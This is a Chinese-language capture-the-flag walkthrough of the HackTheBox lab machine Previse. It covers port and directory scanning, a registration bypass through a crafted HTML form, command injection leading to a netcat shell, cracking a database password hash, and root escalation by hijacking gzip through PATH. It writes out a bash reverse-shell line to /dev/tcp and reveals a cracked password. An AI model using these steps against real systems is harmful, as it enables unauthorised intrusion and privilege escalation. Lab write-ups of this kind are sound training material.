前言#
privise 靶機,隨便抽取的一個 htb 靶場,看下能否做出來。
靶場鏈接:10.10.11.104
信息收集#
直接訪問http://10.10.11.104/login.php,一個登錄框。
嘗試弱口令,萬能密碼。
端口掃描
nmap -T4 -sC -sV -p- 10.10.11.104
fscan 掃描,發現了兩個端口,分別是 22 和 80 端口。
![[Pasted image 20220108200845.png]]
指紋識別
漏洞利用#
nuclei 掃描發現一個 openssh 用戶枚舉漏洞。
利用這個漏洞發現了 ssh 的相關賬戶如下:
4Dgifts
EZsetup
OpenSSH
OutOfBox
ROOT
adm
admin
administrator
anon
auditor
avahi
avahi-autoipd
backup
bbs
bin
checkfs
checkfsys
checksys
cmwlogin
couchdb
daemon
dbadmin
demo
demos
diag
distccd
dni
fal
fax
ftp
games
gdm
gnats
guest
haldaemon
halt
install
irc
kernoops
libuuid
list
listen
lpadm
lpadmin
lynx
mail
man
me
mountfs
mountfsys
mountsys
news
noaccess
nobody
nobody4
nxpgsql
operator
oracle
popr
postmaster
rfindd
saned
sshd
symop
sync
sysadm
sysadmin
syslog
system_admin
udadmin
ultra
us_admin
user
uucp
uucpadm
web
webmaster
www-data
xpopr
zabbix
目錄掃描
使用 gobuster 進行目錄掃描,其他的工具 ffuf,dirsearch 都沒掃到。
gobuster dir -w /p12-字典收集/web漏洞/目錄fuzz/directory-list-2.3-medium.txt -u http://10.10.11.104/ -x php,html,txt
大致結果如下:
看一些狀態為 200 的,可以看到有一個 nav.php,訪問看看,界面如下:
直接訪問這些頁面會進行跳轉,直接跳轉到 login.php,如果用 burp 訪問,則可以看到相關的頁面。
為了註冊一個賬號,需要先將 post 請求包複製下來,然後新建一個 html 文檔,action 中填寫完整的請求鏈接,註冊用戶。
<form role="form" method="post" action="http://10.10.11.104/accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="用戶名">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="密碼">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="確認密碼">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">創建用戶</button>
</form>
利用註冊好的用戶登錄,註冊的賬號為 admin1/admin123。
訪問http://10.10.11.104/files.php 頁面,有個壓縮包下載後發現是源碼文件。
源碼如下
分析源碼,在 logs.php 處,有命令執行漏洞。
抓包http://10.10.11.104/file_logs.php,payload 如下,nc 監聽,獲取到 shell。
本機 ip。
提升至交互式終端。
python3 -c "import pty;pty.spawn('/bin/bash')"
之前在源碼備份文件中,發現了數據庫密碼。
看能否連接數據庫。
mysql -uroot -p
show databases;
use previse;
select * from accounts;
這個密碼是 md5 的密碼,用 john 進行破解。
得到密碼 ilovecody112235!。
ssh 登錄 m4lwhere 賬號,找到第一個 flag。
提權#
接下來需要提權至 root 用戶
sudo -l
查看以 root 用戶運行的文件
access_backup.sh腳本有寫有執行的權限。
文件內容是
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
該文件調用 gzip 命令進行日誌備份,通過這個我們可以進行提權,因為這個腳本是以 root 的身份運行的,那麼我們只要掉換 gzip 命令即可。
cd /tmp
#vim gzip寫入如下內容
#/bin/bash
bash -i >& /dev/tcp/10.10.16.21/1234 0>&1
#賦給權限
chmod 777 gzip
export PATH=$(pwd):$PATH
#然後執行腳本access_backup.sh
sudo /opt/scripts/access_backup.sh
成功反彈回 shell,獲取 flag。